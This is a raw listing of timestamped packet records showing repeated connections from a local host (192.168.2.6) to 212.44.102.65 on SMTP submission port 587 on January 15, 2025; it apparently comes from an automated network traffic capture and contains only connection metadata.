Jan 15, 2025 08:41:35.902303934 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.110727072 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.110927105 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.115833998 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.319070101 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.321355104 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.326174974 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.515906096 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.516021967 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.522907019 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.765903950 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.766086102 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.770912886 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.960134029 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.960839987 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.960840940 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.960959911 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.961042881 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.962990046 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.965759039 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.965784073 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.965792894 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.965841055 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.965898037 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.967848063 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.967859030 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.967900038 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.967909098 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.967977047 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.967986107 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.968065023 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.968075037 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.968094110 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.970632076 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.980691910 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.985573053 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.985625982 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.985635996 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.985663891 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.985687971 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.985697985 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.985701084 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.985738039 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.985755920 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.985761881 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.985795975 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.985799074 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.985843897 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.985857010 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.985904932 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.985913992 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.985933065 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.985953093 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.985995054 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.990447998 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.990478992 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.990516901 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:36.990593910 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.990720987 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.990914106 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.990926027 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991046906 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991055965 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991071939 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991131067 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991141081 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991183043 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991192102 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991229057 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991239071 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991379023 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991389036 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991396904 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991405010 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991507053 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991514921 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991523981 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991533041 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991617918 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991626978 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991635084 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.991643906 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.995352030 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.995361090 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.995441914 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.995469093 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:36.995476961 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:37.439608097 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:37.481287003 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:39.960433960 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:39.965353966 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:40.357811928 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:40.358004093 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:40.358134985 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:40.358920097 CET	49996	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:40.359894037 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:40.364439011 CET	587	49996	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:40.365384102 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:40.369338989 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:40.984235048 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:40.984375000 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:40.989455938 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:41.184407949 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:41.184571981 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:41.189343929 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:41.388041019 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:41.431976080 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:41.437688112 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:41.647067070 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:41.649408102 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:41.654392004 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:41.849107027 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:41.853272915 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:41.858171940 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.113255024 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.113564014 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.118540049 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.313498974 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.313898087 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.313972950 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.313972950 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.315088987 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.315088987 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.318816900 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.318836927 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.318850040 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.318907976 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.319943905 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.319964886 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.320015907 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.320058107 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.320072889 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.320086002 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.320172071 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.320173025 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.320187092 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.320239067 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.320250034 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.320251942 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.320267916 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.320307016 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.320374966 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.323729038 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.324394941 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.325169086 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.325192928 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.325237036 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.325287104 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.325309038 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.325392008 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.325406075 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.325417995 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.325421095 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.325479031 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.325542927 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.325556040 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.325571060 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.325624943 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.329663038 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.330595016 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.330674887 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.330703020 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.330724001 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:41:42.330754042 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.330781937 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.330807924 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.330851078 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.330899000 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.330925941 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.330971956 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.330997944 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.331029892 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.331096888 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.331124067 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.331150055 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.331196070 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.331223011 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.331248999 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.331274033 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.331351042 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.331377029 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.331443071 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.331469059 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.331587076 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.336112976 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.336327076 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.336375952 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.336402893 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.336528063 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.336555958 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.336582899 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.336608887 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.336635113 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.777141094 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:41:42.918118000 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:02.926213980 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:02.931730032 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:03.329153061 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:03.329190969 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:03.329387903 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:03.329387903 CET	49997	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:03.330387115 CET	49998	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:03.334261894 CET	587	49997	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:03.335294008 CET	587	49998	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:03.335367918 CET	49998	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:03.434365988 CET	49998	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:03.439357996 CET	587	49998	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:03.439414978 CET	49998	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:03.517401934 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:03.522325039 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:03.524466991 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:04.114955902 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:04.115557909 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:04.120486021 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:04.309883118 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:04.313532114 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:04.318492889 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:04.508640051 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:04.508846045 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:04.513813972 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:04.722531080 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:04.722662926 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:04.727475882 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:04.921024084 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:04.921170950 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:04.926101923 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.173600912 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.174046040 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.178935051 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.368990898 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.369235992 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.369294882 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.369294882 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.369344950 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.370662928 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.374237061 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.374253035 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.374264956 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.374336958 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.374341011 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.375534058 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.375572920 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.375586033 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.375633955 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.375643969 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.375657082 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.375669003 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.375705957 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.375730038 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.375782967 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.375796080 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.375853062 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.379028082 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.379041910 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.379116058 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.379180908 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.379240990 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.380516052 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.380530119 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.380609035 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.380745888 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.380759001 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.380769968 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.380827904 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.380861998 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.380863905 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.380909920 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.380935907 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.384057999 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.384138107 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.384215117 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.384304047 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.384377003 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.385552883 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.385623932 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.385777950 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.385832071 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.386009932 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.386027098 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.386130095 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.386142969 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.386171103 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.386208057 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.386219978 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.386256933 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.386267900 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.389158010 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.389170885 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390393972 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390408039 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390455961 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390467882 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390506029 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390517950 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390579939 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390593052 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390624046 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390659094 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390671015 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390806913 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390820026 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390830994 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390842915 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.390924931 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:05.395885944 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:05.879434109 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:06.029367924 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:20.702733994 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:20.707660913 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:21.099611044 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:21.099646091 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:21.099725962 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:21.099725962 CET	49999	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:21.100730896 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:21.104827881 CET	587	49999	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:21.105618000 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:21.105680943 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:21.695286989 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:21.700335026 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:21.705231905 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:21.895622015 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:21.897586107 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:21.902429104 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.093012094 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.095375061 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.100229025 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.306224108 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.309845924 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.314672947 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.504766941 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.512413025 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.517281055 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.759773016 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.759938955 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.764843941 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.955385923 CET	587	50001	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:22.955760002 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.955760002 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.955811977 CET	50001	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:22.955915928 CET	50001	587	192.168.2.6	212.44.102.65
